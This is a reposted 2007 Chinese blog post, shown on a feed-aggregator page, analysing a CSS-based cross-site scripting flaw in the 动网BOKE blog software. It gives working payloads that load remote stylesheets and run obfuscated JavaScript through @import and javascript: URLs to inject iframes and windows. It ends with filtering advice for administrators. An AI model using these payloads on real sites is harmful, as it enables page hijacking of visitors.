惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

D
DataBreaches.Net
SecWiki News
SecWiki News
博客园_首页
人人都是产品经理
人人都是产品经理
博客园 - 聂微东
P
Palo Alto Networks Blog
V
Vulnerabilities – Threatpost
Project Zero
Project Zero
WordPress大学
WordPress大学
NISL@THU
NISL@THU
酷 壳 – CoolShell
酷 壳 – CoolShell
P
Privacy & Cybersecurity Law Blog
Jina AI
Jina AI
AWS News Blog
AWS News Blog
Scott Helme
Scott Helme
Martin Fowler
Martin Fowler
C
Cybersecurity and Infrastructure Security Agency CISA
Forbes - Security
Forbes - Security
H
Heimdal Security Blog
小众软件
小众软件
I
Intezer
A
Arctic Wolf
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
O
OpenAI News
S
Security Affairs
阮一峰的网络日志
阮一峰的网络日志
Latest news
Latest news
G
GRAHAM CLULEY
Blog — PlanetScale
Blog — PlanetScale
J
Java Code Geeks
N
News and Events Feed by Topic
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
V2EX - 技术
V2EX - 技术
Stack Overflow Blog
Stack Overflow Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
L
LINUX DO - 最新话题
博客园 - Franky
P
Proofpoint News Feed
aimingoo的专栏
aimingoo的专栏
博客园 - 司徒正美
P
Proofpoint News Feed
S
Secure Thoughts
Google DeepMind News
Google DeepMind News
Microsoft Security Blog
Microsoft Security Blog
T
The Exploit Database - CXSecurity.com
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
C
CXSECURITY Database RSS Feed - CXSecurity.com
F
Full Disclosure
Security Latest
Security Latest

Xio's

世界杯散场以后 | Xio 江风替我说了 | Xio's 赛博算命说我偏财旺 | Xio's 看不见的流星雨 | Xio's 又通宵了 | Xio's 用AI买彩票,中了二等奖 | Xio's 一封跨越23年的玛法信 | Xio's 惊艳!CodeBuddy初体验 | Xio's 从 Typecho 到 Astro:简单的博客搬运记录 | Xio's 丢了主机,却捡了个自由博客 | Xio's 自定义格式测试 | Xio's Hello Astro | Xio's Model Y:这个阶段的Dream Car | Xio's 擦肩而过的光芒 | Xio's Markdown 语法参考文档 | Xio's 十年投资,最值得持有的标的 | Xio's 独自流浪,只为不留遗憾 | Xio's 足彩路漫漫,笔记不能忘 | Xio's 是时候结束了,是时候开始了... | Xio's 熬不起夜 | Xio's 失眠 | Xio's 恶梦一般,却希望只是个恶梦 | Xio's 世纪大战 | Xio's 一次独自的出发 | Xio's 这样的一个blog,勉强算是开通了吧 | Xio's 报驾校 | Xio's 碎碎语 | Xio's 阳光下的追梦人 | Xio's 失望的比赛,伤心的彩民 | Xio's 看球是一种心理博弈,特别是买了足球彩票的人 | Xio's 梦到大学城里的人 | Xio's 那些纯真的往事 | Xio's 梦,2011年6月21日 | Xio's 开始记录 某些点点滴滴 | Xio's 利用Access SQL注入导出ASP文件的方法 | Xio's 关于10级大风的预报 | Xio's 樱花又开了 | Xio's 我在7月的最惨淡时刻 | Xio's 一次思绪的速写 | Xio's 我什么时候才能中500W? | Xio
动网BOKE的CSS跨站漏洞分析 | Xio's
Xio · 2007-03-16 · via Xio's

前一段时间,找到了动网 BOKE的跨站漏洞,这个漏洞可以用CSS来跨站,也就是样式表,具体的跨站方法是:

基本利用方法

选择"代码"方式,在其中输入以下代码:

<style type='text/css'>@import url(http://www.pc010.cn/1.css);</style>

其中的@import 是CSS的自定义属性,url是要链接的CSS样式,而 http://www.pc010.cn/1.css 的内容如下:

<style type="text/css">
<!--
@import url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));
-->
</style>

这是一段弹出alert窗口的代码,其中的String.fromCharCode是用来将字符转为ASCII值的函数。

打开新窗口的代码

OPEN 的代码如下:

@import url(javascript:eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112,58,47,47,119,119,119,46,110,111,104,97,99,107,46,99,110,39,44,39,-17702,-16435,-13610,-19743,39,44,39,119,105,100,116,104,61,50,48,48,44,104,101,105,103,104,116,61,50,48,48,39,41,59)));

隐藏显示方法

如果是要在当前窗口隐藏显示,可用document.body.innerHTML方法,代码是:

document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.pc010.cn></iframe>";

将以上的字符用ASCII转换工具转为ASCII值,放入String.fromCharCode函数中,就可以了。

简化的利用方式

当然,也可以不用String.fromCharCode函数,直接引入代码的语句是:

@import url(javascript:eval("document.body.innerHTML=document.body.innerHTML+'<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.baidu.com></iframe>';"));

其中字符要用双引号引入才行。

最简单的方法

如果再去掉eval,那么语句就是:

@import url(javascript:document.body.innerHTML=document.body.innerHTML+"<iframe frameborder=0 width=200 height=200 scrolling=no src=http://www.baidu.com></iframe>");

常量用双引号引入,而变量则直接引入,两者之间用+来连接,如果有特殊的字符,则可用String.fromCharCode进行转换,比如"<",则可用String.fromCharCode(60)代替。

技术总结

这个漏洞利用了CSS的@import特性和javascript:协议的结合,绕过了常规的XSS过滤。动网BOKE在处理用户输入的CSS代码时没有进行充分的过滤,导致了这个安全问题。

这种利用方式比较隐蔽,因为表面上看起来只是在引入CSS样式文件,实际上却执行了恶意的JavaScript代码。

建议网站管理员对用户输入的CSS代码进行严格过滤,特别是@import和javascript:这类可能存在安全风险的内容。